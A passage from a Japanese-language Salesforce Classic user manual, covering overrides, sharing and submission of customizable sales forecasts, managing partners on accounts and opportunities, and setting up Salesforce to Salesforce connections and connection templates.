2. 直属部下の売上予測を上書きする場合は、編集アイコン ( ) をクリックします。
3. 金額の上書き方法が選択できる場合は、以下のいずれかのオプションを選択します。

• 上書きも含め、John Doe の売上予測を使用する — すべての上書きを含む、直属部下の売上予測金額を
使用します。
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• John Doe の売上予測の上書きは使用しないが、下位の売上予測の上書きは反映する — 直属部下の売上
予測の上書きは無視されますが、直属部下よりも下位の階層による売上予測の上書きは、すべて含まれ
ます。

• すべての売上予測の上書きを使用しない — 売上予測レベルの上書きはすべて無視されますが、商談レ
ベルの上書きは含まれます。商談で金額を上書きすると、自分の商談売上予測でこの金額が使用されま
す。商談レベルで行われた上書きを含め、商談金額を売上予測金額のベ スにする場合にこのオプション
を選択します。

• 売上予測を上書きする — 現在の売上予測金額が、入力した金額で置き換えられます。マネージャには
この金額が表示されますが、部下には表示されません。

4. 収益と数量の両方の売上予測を実行する場合は、数量ベースでの売上予測の上書きオプションを選択しま
す。

5. [保存] をクリックします。売上予測が、上書き状況を示すアイコンでマークされます。

メモ:  [売上予測] タブは、商談データに基づいてデータを自動的に計算する点が、他のタブと異なります。
売上予測レコードを作成または削除する必要はありません。

関連トピック:

カスタマイザブル売上予測の概要
カスタマイザブル売上予測の管理
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商談からのカスタマイザブル売上予測の上書き

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

テリトリー管理を使用可
能なエディション:
Developer Edition、
Performance Edition、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

他のユーザの売上予測を
参照する
• 「すべての売上予測の

参照」

売上予測を上書きする
• 「売上予測の上書き」

売上予測の上書きとは、売上予測予測をより正確に表す金額のことです。商談
の詳細ページから上書きのリストを表示して変更できます。

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

1. 商談レコードの [商談売上予測] 関連リストから、[編集] をクリックします。
2. 詳細に変更を加えます。商談の売上予測金額を上書きする手順については、

「カスタマイザブル売上予測の上書き」を参照してください。
組織でテリトリー管理を使用している場合、商談が割り当てられているテリト
リーが [テリトリー] ドロップダウンリストに表示されます。
ユーザが複数のテリトリーの売上予測マネージャの場合、ドロップダウンリス
トには、ユーザが商談を上書きできるテリトリーが表示されます。任意のテリ
トリーから商談を上書きするには、値を選択し、[編集] をクリックします。

関連トピック:

テリトリー管理に関するオブジェクト

売上予測の共有の直接設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

システム管理者が組織の売上予測階層を定義します。この階層により、売上予
測データを参照できるユーザが決まります。それに対し、システム管理者が売
上予測データの共有権限を手動で拡張でき、ユーザ自身も自分の売上予測デー
タの共有権限を手動で拡張できます。売上予測の共有設定によって売上予測デー
タへのアクセス権を拡大することはできますが、すでにアクセス権を持ってい
るユーザのアクセス権を制限することはできません。売上予測の共有を直接設
定するには、システム管理者か売上予測データを共有する権限を与えられた売
上予測マネージャである必要があります。
売上予測を参照できるユーザを確認、または売上予測データを共有するには、
次のいずれかの手順を実行します。
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• [設定] から、[クイック検索] ボックスに「売上予測階層」と入力し、[売上予測階層]を選択してから、共有
するビューの横にある [共有] をクリックします。

• 売上予測データを共有するには、売上予測のホームページの [共有] をクリックします。
[ユーザとグループの共有] 一覧に、現在この売上予測データへのアクセス権を持っているすべてのユーザが表
示されます。また、ユーザが持っているアクセス権、売上予測を登録できるかどうか、そのアクセス権を持っ
ている理由の詳細も表示されます。ユーザが売上予測データへのアクセス権を持っている理由は、次のとおり
です。

説明理由

システム管理者であるか、「すべてのデータの編集」
権限を持っているユーザです。

管理者

売上予測の[共有]ボタンによって与えられた売上予測
データへのアクセス権を持つユーザです。

代理売上予測マネージャ

売上予測階層の売上予測マネージャであることから、
アクセス権を持つユーザです。

売上予測マネージャ

所有者は、自分の売上予測データをいつでも参照でき
ます。

所有者

ユーザに「すべての売上予測の参照」権限がありま
す。

すべての売上予測権限の参照

売上予測共有の詳細ページから、次の作業を実行できます。
• 項目の絞り込みリストを表示するには、[ビュー]ドロップダウンリストから事前定義済みのリストを選択

するか、[新規ビューの作成] をクリックして、自分専用のカスタムビューを定義します。作成したビュー
を編集または削除するには、[ビュー] ドロップダウンリストからビューを選択し、[編集] をクリックしま
す。

• 売上予測データへの他のユーザまたはグループのアクセスを許可するには、[追加] をクリックします。

メモ: 共有の直接設定が、売上予測を構成する商談データまで拡張されます。ユーザが売上予測デー
タを上書きする権限を持っている場合、そのユーザは、商談売上予測データを上書きする権限も持っ
ています。

• 売上予測データへのアクセス権を持つすべてのユーザを表示するには、[リストの拡張]をクリックします。
• 自分で作成した共有の直接設定ルールについては、リスト内の項目の横にある [編集] か [削除] をクリック

すると、アクセスレベルを編集または削除できます。

関連トピック:

カスタマイザブル売上予測設定の定義
カスタマイザブル売上予測の設定
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カスタマイザブル売上予測の登録

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

他のユーザの売上予測を
参照する
• 「すべての売上予測の

参照」

売上予測を上書きする
• 「売上予測の上書き」

メモ: この情報は、[カスタマイザブル売上予測] に適用され、[コラボレー
ション売上予測] には適用されません。

[売上予測] タブでは、本人、およびロール階層内で自分より上位に位置するユー
ザが売上予測合計をいつもで参照できます。ただし、売上予測合計を売上予測
履歴とレポートで参照するには、登録する必要があります。自分の売上予測の
他に、共有を直接設定した売上予測や登録権限を持つ売上予測を登録できます。
売上予測を登録する手順は、次のとおりです。
1. [売上予測] タブにある自分の売上予測から、[送信] をクリックします。
2. [OK] をクリックして確認します。Salesforce が売上予測合計のスナップショッ

トを撮り、そのデータをレポートと売上予測履歴で使用できるようにしま
す。

関連トピック:

カスタマイザブル売上予測の表示
カスタマイザブル売上予測の管理

複数のチャネルによる営業

パートナーとの連携による売上促進
エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

パートナーとは、販売取引を締結するために連携する会社です。作成する商談
または取引先ごとに [パートナー] 関連リストを使用して、パートナーに関する
情報と、商談または取引先に対してパートナーが果たす役割に関する情報を保
存できます。パートナーは、Salesforce内の既存の取引先でなければなりません。
組織でパートナーを有効にしている場合、パートナー取引先を作成できます。
パートナー取引先は、チャネルマネージャがパートナー組織、パートナーユー
ザ、および活動を管理するために使用する法人取引先です。パートナー取引先
は、取引先の [パートナー] 関連リストに表示される取引先とのパートナー関係
から完全に独立しています。パートナーポータルの作成および管理についての
詳細は、「パートナーポータルの作成および管理」を参照してください。
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ヒント: 組織で個人取引先を使用する場合、パートナーの役割を使用して個人取引先を相互に関連付ける
ことができます。たとえば、世帯または家族のメンバーごとに個々の個人取引先レコードがある場合、
パートナーの役割 (「配偶者」、「兄弟」など) を使用してそれらのレコードを関連付けることができま
す。

関連トピック:

パートナーの表示と追加

パートナーとの情報の共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

パートナーとは、販売を直接的に促進し、販売取引の締結をサポートする会社
または個人のことです。
Salesforce 組織でパートナーの販売をさまざまな方法で追跡できます。
• 取引先および商談レコードにパートナーを追加します。
• 組織でパートナーを有効にして、パートナー取引先とパートナーユーザを作

成し、パートナーコミュニティ (推奨) またはパートナーポータルでチャネル
の販売データに関してパートナーとコラボレーションします。

• パートナーが独自の Salesforce 組織を持っている場合、Salesforce to Salesforce を
使用します。

関連トピック:

salesforce_partner_portal_guide.pdf

salesforce_partner_portal_guide.pdf
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パートナーの表示と追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先にパートナーを追
加する
• 取引先に対する「編

集」

および

商談に対する「参照」

商談にパートナーを追加
する
• 取引先に対する「参

照」

および

商談に対する「編集」

商談および取引先の詳細ページには、パートナー関係を表示および編集できる
[パートナー] 関連リストがあります。
• 特定のパートナーの取引先情報を表示するには、[パートナー] 関連リストで

そのパートナー名をクリックします。
• パートナー関係のパートナーの横にある [削除] をクリックします。

メモ: パートナーを持つ商談の取引先を変更すると、[パートナー] 関連
リストからすべてのパートナーが削除されます。

• 商談または取引先にパートナーを追加する手順は、次のとおりです。
1. [パートナー] 関連リストにある [新規] をクリックします。
2. 商談に追加する場合にのみ、そのパートナーが商談の主要なパートナー

であるときには、[主担当] を選択してそのことを示します。
1 つの商談に対して主パートナーは 1 つしか指定できません。新しい主
パートナーを設定すると、既存の主パートナーから [主パートナー] の指
定が自動的に解除されます。
パートナーを主パートナーにすると、すべての商談レポートでそのパー
トナーのレポートを作成できます。

3. [パートナー] 欄で、ボックスに入力するか、ルックアップアイコンをク
リックして、既存の取引先の名前を入力し、取引先検索を実行します。
または、ルックアップダイアログから [新規] をクリックして、新しい取
引先を作成します。

4. [ロール] 欄で、この取引先または商談におけるパートナー取引先の役割
を指定します。

メモ: 取引先や商談で 1 つのパートナーを選択すると、自動的に逆のパート
ナー関係も作成され、両取引先がもう一方の取引先をパートナーとして表
示します。指定した役割がパートナー取引先に適用され、そのパートナー
から見た役割がもう一方の取引先に適用されます。
システム管理者が [パートナーの役割]選択リスト値を編集するときに、指
定可能な役割と、それを先方から見た役割を設定します。
システム管理者は、ページレイアウトを編集することで関連リストに表示
される列をカスタマイズできます。

関連トピック:

パートナーとの連携による売上促進
パートナー項目
パートナーの削除
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パートナー項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

パートナーには次の項目があります。

説明項目

パートナーの名前。既存の取引先を入
力するか、ルックアップアイコンをク
リックして新規取引先を検索 (または
必要に応じて作成) できます。

パートナー名

商談の主パートナーであることを示す
オプション。

主

特定の商談または取引先のパートナー
の役割。この役割は、先方から見た役
割と相関し、先方から見たパートナー
関係に適用されます。システム管理者
が設定した、選択可能な役割のリスト
から選択します。

役割

関連トピック:

パートナーとの連携による売上促進
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パートナーの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Summer '09 よりも前に有
効化された組織のすべて
のエディション

使用可能なエディション:
Summer '09 以降に有効化
された組織の Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先からパートナーを
削除する
• 取引先に対する「編

集」

商談からパートナーを削
除する
• 取引先に対する「編

集」

および

商談に対する「編集」

商談または取引先からパートナーを削除すると、商談または取引先とパートナー
の関係は削除されますが、取引先は削除されません。

メモ: パートナーを持つ商談の取引先を変更すると、[パートナー] 関連リス
トからすべてのパートナーが削除されます。

商談または取引先からパートナー関係を削除するには、パートナー名の横の[削
除] をクリックします。
パートナーを削除すると、商談および取引先は次のような影響を受けます。

影響パートナーを削除する場所

取引先からパートナーが削除されると
共に、パートナーが関連付けられてい
る、その取引先のすべての商談から
パートナーが削除されます。

取引先

パートナーが取引先の 1 つの商談にの
み関連付けられている場合、パート
ナーは商談および取引先の両方から削
除されます。
パートナーが取引先の複数の商談に関
連付けられている場合、パートナーは
該当する商談からのみ削除されます。
パートナーと他の商談との関連付けお
よびパートナーと取引先との関連付け
は維持されます。

商談

関連トピック:

パートナーとの連携による売上促進
パートナーの表示と追加

1834

パートナーとの連携による売上促進顧客への営業



パートナーポータルの作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Summer '13 以降、パートナーポータルを現在使用していない組織は、それを使用
できません。既存の組織は、今後も継続してフルアクセスできます。パートナー
ポータルを持っていないが、レコードや情報をパートナーと簡単に共有したい
場合は、コミュニティを試してください。
パートナーポータルを使用している既存の組織は、パートナーポータルを使用
し続けることも、コミュニティに移行することもできます。詳細は、Salesforce

アカウントエグゼクティブにお問い合わせください。
パートナーポータルの作成についての詳細は、「パートナーポータルの作成お
よび管理」ガイドを参照してください。ユーザ管理、共有、CRM データについ
ての一般的な情報は、Salesforce ヘルプから引き続き参照できます。

関連トピック:

コミュニティでのパートナーリレーションの管理
パートナーポータルからコミュニティへの移行

Salesforce to Salesforce

Salesforce to Salesforce の概要

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce to Salesforceにより、Salesforce組織間の業務連携が可能になります。これ
により、特定のレコードを、Salesforceを使用するビジネスパートナーと共有し、
共有データに対するリアルタイムの更新を取得できます。たとえば、リードお
よび商談データをビジネスパートナーと共有し、自社のパイプラインとプログ
ラム全体を Salesforce 内で管理できます。
Salesforce to Salesforceにより、お客様とビジネスパートナーが簡単かつ効果的に連
携できます。Salesforce to Salesforce を使用して、1 つ以上の接続先とレコードを共
有できます。また、他の接続先が同じレコードを受け取っている場合でも、各
接続先は共有するレコードを受け取ることができます。
ビジネスパートナーは、Salesforce to Salesforce を使用して次のことを実行できま
す。
• 1 か所からすべてのプログラムにアクセスする
• お客様のデータと、ビジネスパートナーがSalesforceで管理しているデータを

簡単に統合する
• ビジネスプロセスを受信した更新と統合する
ユーザは、Salesforce to Salesforce を使用して次のことを実行できます。
• パートナーの活動情報を 100% 可視化できる
• パイプライン全体、つまり直接販売と代理店販売の両方を 1 か所で管理する
• 多層パートナー間でデータを迅速かつ容易に共有する
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• ワークフローと割り当てルールを使用して、ビジネスプロセスを、パートナーから受信した更新データと
統合する

パートナーとの接続にあたり、パートナーがSalesforceを利用しているかどうかわからない場合、接続ファイン
ダを使用して確認できます。
Salesforce to Salesforce を使用したビジネスパートナーとの接続への招待を受けた場合、「Salesforce to Salesforce へ
の参加招待の受諾または却下」 (ページ 1838)を参照してください。
他の会社を Salesforce to Salesforce を使用した接続に招待するには、「ビジネスパートナーの Salesforce to Salesforce

を使用した接続への招待」を参照してください。

メモ:  Salesforce to Salesforce は、ビジネスパートナーとの情報の共有を可能にするだけでなく、組織同期と
いう高可用性ソリューションの一部でもあります。組織同期についての詳細は、「組織同期」を参照し
てください。

関連トピック:

Salesforce to Salesforce 使用のヒント
パートナーが Salesforce を使用しているかどうかの確認

ビジネスパートナーの Salesforce to Salesforce を使用した接続への招待

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ビジネスパートナーを
Salesforce to Salesforce を
使用した接続に招待する
• 「接続の管理」

ビジネスパートナーとのデータ共有を開始する前に、Salesforce to Salesforceを使用
してパートナーとの接続を設定する必要があります。接続を作成するには、ビ
ジネスパートナーを招待する必要があります。

メモ: 招待処理を開始する前に、取引先を作成し、ビジネスパートナーの
取引先責任者と関連付ける必要があります。

ビジネスパートナーを Salesforce to Salesforce を使用した接続に招待する手順は、
次のとおりです。
1. [接続] タブをクリックします。
2. [新規] をクリックします。
3. 取引先責任者名を入力するか、ルックアップアイコンを使用して取引先責任

者を選択します。

重要: メールアドレスが有効であることを確認してください。無効の場
合、招待が違う人に送信されることがあります。

4. 必要に応じて、関連する取引先を選択します。

メモ: この接続に関連付けられている取引先は、招待を送信した後に変
更できます。

5. 接続を管理するユーザを選択します。
6. 必要に応じて、接続に適用するテンプレートを選択します。
7. [保存 & 招待を送信] をクリックします。
複数のビジネスパートナーを Salesforce to Salesforce を使用した接続に招待する手順は、次のとおりです。
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1. [取引先責任者] タブをクリックします。
2. 標準リストビューまたはカスタムリストビューを選択して、[Go!] をクリックします。
3. リストビューで、招待する取引先責任者の横のチェックボックスをオンにします。

重要: メールアドレスが有効であることを確認してください。無効の場合、招待が違う人に送信され
ることがあります。

4. [接続に招待] をクリックします。
5. 接続を管理するユーザを選択します。
6. 必要に応じて、接続に適用するテンプレートを選択します。
7. [保存 & 招待を送信] をクリックします。
招待した相手は、Salesforce to Salesforce を使用した接続への招待メールを受信します。招待を受けた人は、招待
を受諾するか辞退するかを選択できます。[接続] タブで接続を確認することによって、招待が受諾されたか辞
退されたかを確認できます。[接続] タブから、招待を再送またはキャンセルすることもできます。接続につい
ての詳細は、「接続ホームページ」 (ページ 1839)を参照してください。

メモ:  Salesforce to Salesforce で組織同期の複製接続への招待を送信する場合の詳細は、「組織の接続」を参
照してください。

関連トピック:

パートナーが Salesforce を使用しているかどうかの確認
Salesforce to Salesforce の接続テンプレート
接続テンプレートの作成と適用
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Salesforce to Salesforce への参加招待の受諾または却下

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce to Salesforce を
使用した接続への招待を
受諾または却下する
• 「接続の管理」

ビジネスパートナーから Salesforce to Salesforce を使用した接続への招待を受けた
場合は、次の手順でその招待を受諾または却下できます。
1. 招待メールのリンクをクリックして、Salesforce のログインページにアクセス

します。
2. システム管理者または「接続の管理」権限を持つユーザとしてログインしま

す。
3. 招待の詳細を確認します。
4. [承認] または [参加しない] をクリックします。

受諾するか却下するかを決めかねる場合は、[後で決定] をクリックします。
[接続] タブに招待が表示され、受信済み招待の接続状況が表示されます。後
日招待を簡単に受諾または却下できます。

招待を受諾または却下すると、招待した会社に、その決定を通知するメールが
送信されます。メールの内容を設定するには、該当するメールテンプレートを
変更します。

関連トピック:

Salesforce to Salesforce の概要
Salesforce to Salesforce 使用のヒント
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接続ホームページ

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce to Salesforce の
接続を表示および管理す
る
• 「接続の管理」

Salesforce to Salesforce の
テンプレートを表示およ
び管理する
• 「接続の管理」

[接続] タブでは、Salesforce to Salesforce の接続と接続テンプレートを管理できま
す。[接続] タブから、次の操作が可能です。
• [接続] サブタブを選択して、接続を管理します。自分が受信したすべての招

待に加え、自分が招待した人も全員が接続の対象となります。招待が受諾さ
れたか却下されたか、あるいは返信を受けていないかどうかは関係ありませ
ん。[接続] サブタブには、最近の接続が自動的に表示されます。
– 接続の詳細を表示するには、接続名をクリックします。
– 新しい接続を招待するには、[新規] をクリックし、接続の詳細を入力し

て、[保存 & 招待を送信] をクリックします。
– 接続を無効化するには、[無効化] をクリックします。
– 招待を送信したが承認されていない接続については、[再送]をクリックし

て詳細を再送信するか、[招待をキャンセル]をクリックして招待をキャン
セルすることができます。接続の招待についての詳細は、「ビジネスパー
トナーの Salesforce to Salesforceを使用した接続への招待」 (ページ 1836)を参
照してください。

• [テンプレート] サブタブを選択して、接続テンプレートを管理します。テン
プレートにより、オブジェクトと項目のセットを定義して 1 つ以上の標準
Salesforce to Salesforce 接続に公開できます。[テンプレート] サブタブには、最
近のテンプレートが自動的に表示されます。
– 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストか

ら事前定義済みのリストを選択するか、[新規ビューの作成]をクリックし
て、自分専用のカスタムビューを定義します。作成したビューを編集ま
たは削除するには、[表示] ドロップダウンリストから選択し、[編集] をクリックします。

– テンプレートの詳細を表示するには、テンプレート名をクリックします。
– 新規テンプレートを作成するには、[新規] をクリックします。
– テンプレートを編集するには、編集するテンプレートの横にある[編集]をクリックします。テンプレー

ト使用についての詳細は、「接続テンプレートの作成と適用」 (ページ 1842)を参照してください。

メモ:  Salesforce to Salesforce のフレームワーク上に構築された高可用性機能である組織同期についての詳細
は、「Salesforce to Salesforce でのワークフローの使用」を参照してください。

関連トピック:

接続の管理
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接続の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

接続を管理する
• 「接続の管理」

[接続] タブで、接続の詳細を表示し、接続を管理できます。接続の詳細には、接
続状況、接続所有者、会社情報、公開され登録されている項目、接続履歴が表
示されます。
接続を参照する手順は、次のとおりです。
1. [接続] タブをクリックします。
2. [接続] サブタブで、表示する接続の名前をクリックします。
接続詳細ページでは、次の操作を実行できます。
招待の受諾

ビジネスパートナーから Salesforce to Salesforce を使用した接続への招待を受け
た場合、[参加する] をクリックするとその招待を受諾できます。招待を受諾
した後、その接続先が公開しているオブジェクトを登録し、接続詳細ページ
の [公開オブジェクト] および [登録オブジェクト] 関連リストを使用してオブ
ジェクトの共有を開始できます。

招待のキャンセル
送信した招待が受諾されなかった場合は、[招待をキャンセル] をクリックす
るとその招待をキャンセルできます。パートナーが招待を受け取っていない
場合は、[再送] をクリックしてもう一度送信します。

接続の無効化
ビジネスパートナーとの間に作成した接続を今後使用しない場合、[無効化] をクリックします。接続が無
効になっている場合も、接続先が共有したレコードを参照および更新できますが、更新した内容は接続先
に送信されません。送信したレコードを接続先が引き受けなかった場合、そのレコードが接続先の組織か
ら削除されます (逆の場合も同様です)。

接続の編集
接続を表示すると、接続の詳細を編集して接続を変更できます。接続に対して公開されているオブジェク
トを変更するには、[公開 / 非公開] をクリックします。または接続テンプレートを使用するには、[編集] を
クリックし、有効なテンプレートを選択します。オブジェクトで公開されている項目を編集するには、オ
ブジェクトの横にある [編集] をクリックします。登録しているオブジェクトを変更するには、[登録 / 登録
解除] をクリックします。詳細は、以下を参照してください。
• Salesforce to Salesforce でのオブジェクトの公開 (ページ 1852)

• Salesforce to Salesforce でのオブジェクトの登録 (ページ 1844)

• Salesforce to Salesforce での項目の公開 (ページ 1853)

• Salesforce to Salesforce での項目の登録 (ページ 1845)

接続履歴の表示
接続詳細ページの [接続履歴] 関連リストで、接続の詳細な履歴を表示できます。接続履歴をエクスポート
するには、[接続履歴をダウンロード (CSV)] を選択します。これにより、次の情報を含むカンマ区切りファ
イルをダウンロードできます。
• 接続状況の変化
• 接続に関連付けられた取引先に対する変更
• 接続に関連付けられた取引先責任者に対する変更
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• 接続所有者の変更
• 公開項目に対する変更
• ビジネスパートナーに送信されたメールコミュニケーション
• 次の結果発生した入力規則関連エラーおよび入力規則に関連する Apex トリガ

– レコードの手動受け入れ
– レコードの自動受け入れ
– 接続ユーザによるレコードの更新

メモ: コードエラーなどのシステムエラーは、接続履歴には記録されません。

関連トピック:

接続ホームページ
Salesforce to Salesforce の接続テンプレート

Salesforce to Salesforce の接続テンプレート

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

接続テンプレートを作
成、編集、表示する
• 「接続の管理」

接続テンプレートにより、接続先に公開できるオブジェクトと項目を定義でき
ます。接続テンプレートを 1 つ以上の標準 Salesforce to Salesforce 接続に割り当て
て、公開手順をすばやく簡単に行えるようにします。[接続] タブで [テンプレー
ト] サブタブをクリックし、接続テンプレートを参照、作成、および編集しま
す。
接続テンプレートが接続に適用されると、オブジェクトと項目のルールがその
接続に適用されます。
接続テンプレートには次のルールが適用されます。
• まだ公開されていないが接続テンプレートでは公開されているオブジェクト

と項目は公開される。
• 公開、非公開の状況がテンプレートと同じオブジェクトと項目には変更はな

い。
• すでに公開済みだが接続テンプレートでは公開されていないオブジェクトと

項目は公開されない。

関連トピック:

接続テンプレートの作成と適用
接続ホームページ
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接続テンプレートの作成と適用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

接続テンプレートを作
成、編集、表示する
• 「接続の管理」

接続テンプレートの作成と編集
接続テンプレートにより、1 つ以上の標準 Salesforce to Salesforce 接続に適用できる
オブジェクトと項目の公開ルールを定義できます。
接続テンプレートを作成する手順は、次のとおりです。
1. [接続] タブを選択します。
2. [テンプレート] サブタブを選択します。
3. [新規] をクリックします。
4. 名前と説明 (省略可能) を入力します。
5. テンプレートを標準接続に割り当てられるようにするには、[有効] チェック

ボックスをオンにします。
6. [保存]をクリックしてテンプレートを保存するか、[保存 & オブジェクトの追

加] をクリックしてオブジェクトをテンプレートに追加します。
7. [保存 & オブジェクトの追加] をクリックした場合、追加するオブジェクトの

横のチェックボックスをオンにしてから、[保存] をクリックします。

メモ: [保存]をクリックした場合、テンプレート詳細ページで [オブジェ
クトを追加 / 削除する] をクリックすると、オブジェクトを追加できま
す。

8. [公開オブジェクト] 関連リストに追加したオブジェクトの横にある [編集] をクリックします。
9. オブジェクトで公開する項目を選択し、[保存] をクリックします。
10. [公開オブジェクト] 関連リストに追加した各オブジェクトについて、ステップ 8 ～ 9 を繰り返します。
接続テンプレートを無効化する手順は、次のとおりです。
1. [テンプレート] サブタブで、無効化するテンプレートの横にある [編集] をクリックします。または、テン

プレート詳細ページで [編集] をクリックします。
2. [有効] チェックボックスをオフにします。
3. [保存] をクリックします。

メモ: 接続に割り当てることができるのは、有効な接続テンプレートに限られます。無効化したテンプ
レートを使用する場合は、[有効] チェックボックスをオンにします。

接続テンプレートの接続への割り当て
1 つ以上の新しい接続先を招待するときに接続テンプレートを接続に割り当てたり、既存の接続に接続テンプ
レートを割り当てたりできます。
既存の接続に接続テンプレートを割り当てる手順は、次のとおりです。
1. [接続] タブを選択します。
2. [接続] サブタブを選択します。
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3. テンプレートを割り当てる接続の名前をクリックします。
4. [編集] をクリックします。
5. [テンプレート] 項目にテンプレート名を入力するか、ルックアップアイコンをクリックして、テンプレー

トを検索します。
6. [保存] をクリックします。

関連トピック:

Salesforce to Salesforce の接続テンプレート
接続ホームページ

Salesforce to Salesforce を使用したレコードの共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

別の組織への接続を作成したら、その組織とデータを共有できます。ビジネス
パートナーは、あなたの組織のレコードに直接アクセスできるわけではなく、
Salesforce to Salesforceを使用してあなたの組織のレコードと接続しているレコード
を組織内に所有しています。一方のレコードで共有情報が更新されると、他方
のレコードに反映されます。1 つ以上の接続先と複数のレコードを共有できま
す。他の接続先が同じレコードを受け取った場合でも、接続先には、共有レコー
ドを引き受けることがあります。

メモ: Salesforce to Salesforceを使用してビジネスパートナーがレコードを使用
できるようにする手順は、組織内でレコードを共有する場合とは異なりま
す。

ビジネスパートナーと共有するレコードの種類を制御するには、公開するオブ
ジェクトと項目を選択します。
さらに、ビジネスパートナーが許可した情報を組織内で使用する方法を制御す
るには、オブジェクトを登録し、そのオブジェクトの項目を自身のオブジェクトの項目に対応付けます。
接続先で個々のレコードまたはその関連レコードを使用できるようにするには、レコードを 1 つ以上の接続先
に共有送信するか、接続先を含むキューにレコードを割り当てます。接続先にレコードを共有送信するとき
に、そのレコードに含める関連レコードを選択して、レコードの使用が許可されたことを通知するメールを接
続先の取引先責任者に送信できます。
同様にビジネスパートナーも、あなたの組織にレコードの使用を許可できます。ビジネスパートナーがあなた
の組織にレコードの使用を許可すると、オブジェクトのホームページのビューから、そのレコードの基本情報
の詳細を参照できます。次に、レコードおよびその関連レコードを引き受けるかどうかを選択します。また、
オブジェクトを登録している場合、オブジェクトのレコードを接続先と共有すると自動的に引き受けられるよ
う指定することもできます。これは特に、接続先と大量のレコードを共有することを期待している場合に役立
ちます。
レコードを引き受けたら、Salesforce to Salesforce を使用してレコードの使用を許可する場合と同じ方法で、その
レコードを他の接続先に対して使用を許可できます。これにより、多層ビジネスネットワークで作業を行うこ
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とができます。多層ネットワークでは、組織の共有レコードに変更を加えると、そのレコードを共有している
すべての組織でその情報が更新されます。

関連トピック:

Salesforce to Salesforce での項目の公開
Salesforce to Salesforce での項目の登録
Salesforce to Salesforce 使用のヒント

Salesforce to Salesforce でのオブジェクトの登録

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

公開オブジェクトを登録
する
• 「接続の管理」

ビジネスパートナーと Salesforce to Salesforce を使用して接続している場合、ビジ
ネスパートナーが公開したオブジェクトを登録できます。オブジェクトを正式
に契約するときは、組織のオブジェクトに対応付けます。標準オブジェクトは、
組織内の標準オブジェクトに対応付ける必要がありますが、カスタムオブジェ
クトは、任意のカスタムオブジェクトに対応付けできます。たとえば、ビジネ
スパートナーが「見込み客」という名前のカスタムオブジェクトを公開した場
合、「顧客」という名前のカスタムオブジェクトに対応付けできます。
オブジェクトを登録する手順は、次のとおりです。
1. [接続] タブをクリックします。
2. 変更する接続の名前をクリックします。
3. [登録オブジェクト] 関連リストで [登録 / 登録解除] をクリックします。
4. 登録するオブジェクトを選択するには、そのオブジェクトに対応付けるユー

ザ組織内のオブジェクトを選択します。公開オブジェクトを登録しない場合
は、[--なし--] を選択します。

5. 接続先と共有するとき該当する種類のレコードを自動的に引き受ける場合
